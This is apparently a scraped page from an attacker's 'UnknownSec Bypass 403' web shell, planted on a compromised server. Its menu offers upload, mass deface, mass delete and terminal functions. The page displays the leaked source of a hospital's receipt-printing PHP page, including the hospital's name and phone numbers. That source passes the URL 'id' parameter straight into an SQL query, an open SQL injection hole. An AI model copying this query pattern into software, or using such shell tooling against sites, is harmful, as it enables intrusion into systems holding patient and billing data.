UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
stmedicosoftware
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
print_procedurenew.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <link rel="stylesheet" type="text/css" href="css/style_procedure.css" /> <script type="text/javascript" src="https://code.jquery.com/jquery-3.3.1.js"></script> <style type="text/css" media="print"> @page { size: auto; /* auto is the initial value */ margin: 0; /* this affects the margin in the printer settings */ } @media print { .noPrint { display: none; } } </style> <script type="text/javascript"> // function PrintPanel() { // var panel = document.getElementById("dynamic_content"); // var printWindow = window.open('', '', 'height=400,width=800'); // var htmlToPrint = '' + // '<style type="text/css">' + // 'table th, table td {' + // 'border:1px solid #000;' + // 'padding:0.5em;' + // '}' + // '</style>'; // htmlToPrint += panel.outerHTML; // printWindow.document.write('<html><head><title></title>'); // printWindow.document.write('</head><body >'); // printWindow.document.write(htmlToPrint); // printWindow.document.write('</body></html>'); // printWindow.document.close(); // setTimeout(function() { // printWindow.print(); // }, 500); // return false; // } function getbilldetails(val) { let identifier = 2; try { $.ajax({ method: 'POST', url: 'get_billtestdetails.php', data: '&billno=' + val + '&identifier=' + identifier, dataType: 'json', async: true, cache: false, success: function(data) { document.getElementById('uhid').innerHTML = data.suhid; document.getElementById('voucherno').innerHTML = data.svoucherno; document.getElementById('voucherdate').innerHTML = data.trandate; document.getElementById('name').innerHTML = data.pntpre + '' + data.name; document.getElementById('age').innerHTML = data.agey + '' + data.pntageyrs; document.getElementById('sex').innerHTML = data.sex; document.getElementById('mobile').innerHTML = data.mobile; document.getElementById('address').innerHTML = data.address1; document.getElementById('consultant').innerHTML = data.examinedby; document.getElementById('referedby').innerHTML = data.refferedby; document.getElementById('lblpaymentmode').innerHTML = 'Mode : ' + data.cashyacheque; if (data.cashyacheque == "CASH") { document.getElementById('lblbank').innerHTML = ""; document.getElementById('lbltransactionno').innerHTML = ""; } else { document.getElementById('lblbank').innerHTML = ', Bank Name :' + data.bankname; document.getElementById('lbltransactionno').innerHTML = ',Tran :' + data.chequeno; } document.getElementById('lblTotalAmount').innerHTML = data.totalamount; document.getElementById('lbldiscount').innerHTML = data.discount; document.getElementById('lblReceiveamt').innerHTML = data.receiveamt; document.getElementById('lblAmountinwords').innerHTML = 'Amount in words : ' + data .amountinwords; //PrintPanel(); }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } $(document).ready(function() { var id = getUrlVars()['id']; getbilldetails(id) }); </script> </head> <body> <div class="invoice" id="dynamic_content" name="dynamic_content"> <div class="header border_bottom"> <table width="100%"> <tr> <td width="20%"> <img src="logoimage/logoclinic.jpg" id="logoimg" name="logoimg" alt="" style="width: 150px; height:75px" /> </td> <td width="80%" class="text_center"> <h2> <label id="lblhospital" name="lblhospital">BEGRAJ HOSPITAL </label> </h2> <p class="p_title"> <label id="lblAddress1" name="lblAddress1">100 Futa Road </label> </p> <p class="p_title"> <label id="lblAddress2" name="lblAddress2">Bareilly </label> </p> <p class="p_title"> <label id="lblHMobileNo" name="lblHMobileNo">Mobile No: 8979236470, 9259976724 </label> </p> </td> </tr> </table> </div> <h2 class="text_center">TEST RECEIPT</h2> <div class="pt_details"> <table width="100%"> <tr> <td width="34%"> <p class="p_title"><b>UHID:</b> <label id="uhid" name="uhid">UHID:</label></p> </td> <td width="41%"> <p class="p_title"><b>OPD No.:</b> <label id="voucherno" name="voucherno"></label></p> </td> <td width="25%"> <p class="p_title"><b>Date:</b> <label id="voucherdate" name="voucherdate"></label></p> </td> </tr> <tr> <td width="34%"> <p class="p_title"><b>Name:</b> <label id="name" name="name"> </label></p> </td> <td width="41%"> <p class="p_title"><b>Age:</b> <label id="age" name="age"> </label> / <b>Sex:</b> <label id="sex" name="sex"> </label> </p> </td> <td width="25%"> <p class="p_title"><b>Mob.:</b> <label id="mobile" name="mobile"></label></p> </td> </tr> </table> <table width="100%"> <tr> <td width="34%"> <p class="p_title"><b>Address:</b> <label id="address" name="address"></label> </p> </td> <td width="41%"> <p class="p_title"><b>Consultant:</b> <label id="consultant" name="consultant"></label></p> </td> <td width="25%"> <p class="p_title"><b>ReferredBy:</b> <label id="referedby" name="referedby"></label></p> </td> </tr> </table> </div> <div class="body"> <div class="i_table"> <div class="i_table_head"> <?php include "config.php"; $sql= "Select * from v_opdheaddetails where voucherno='".$_GET['id']."' and isdeleted=0 and financialyearid=1 order by sno"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { ?> <div class="i_row"> <div class="i_col w_10"> <p class="p_title">S.No.</p> </div> <div class="i_col w_30"> <p class="p_title">Charge Name</p> </div> <div class="i_col w_20"> <p class="p_title text_right">Qty</p> </div> <div class="i_col w_20"> <p class="p_title text_right">Rate</p> </div> <div class="i_col w_20"> <p class="p_title text_right">Amount</p> </div> </div> </div> <div class="i_table_body"> <?php $sno=1; while ($row = mysqli_fetch_assoc($result)) { ?> <div class="i_row"> <div class="i_col w_10"> <p class="p_title"><?php echo $sno; ?></p> </div> <div class="i_col w_30"> <p class="p_title"><?php echo $row['subtestname']; ?></p> </div> <div class="i_col w_20"> <p class="p_title text_right"><?php echo $row['qty']; ?></p> </div> <div class="i_col w_20"> <p class="p_title text_right"><?php echo $row['rate']; ?></p> </div> <div class="i_col w_20"> <p class="p_title text_right"><?php echo $row['totalamount']; ?></p> </div> </div> <?php $sno++; } } ?> </div> </div> <div class="footer"> <div class="i_row"> <div class="i_col w_70"> <p class="p_title"><label id="lblpaymentmode" name="lblpaymentmode">payment mode :</label> <label id="lblbank" name="lblbank">Bank :</label> <label id="lbltransactionno" name="lbltransactionno">Transaction no :</label> </p> <p class="p_title"> <label id="lblAmountinwords" name="lblAmountinwords">Amount in words :</label> </p> </div> <div class="i_col w_30 text_right" style="text-align: right;"> <p class="p_title text_right"><label id="title9" name="title9">Total Amt :</label> <label id="lblTotalAmount" name="lblTotalAmount">Total Amt :</label> </p> <p class="p_title text_right"> <label id="title9" name="title9">Discount :</label> <label id="lbldiscount" name="lbldiscount">Discount :</label> </p> <p class="p_title text_right"> <label id="title9" name="title9">Receive Amt :</label> <label id="lblReceiveamt" name="lblReceiveamt">Receive Amt :</label> </p> <!-- <p>Lorem ipsum dolor, sit amet consectetur adipisicing elit. Cumque, dicta distinctio! Laudantium voluptatibus est nemo.</p> --> </div> </div> </div> </div> </div> <div align="center" class="noPrint" style="padding: 20px 0;"> <button style="background-color: #0066FF; color: #FFFFFF; padding: 5px; font-weight: bold" onclick="window.print();" class="noPrint"> Print Me </button> <a href="dashboard.php" style="background-color: brown; color: #FFFFFF; padding: 8px; font-weight: bold" class="noPrint"> Back to Dashboard </a> </div> </body> </html>
Copyright © 2025 - UnknownSec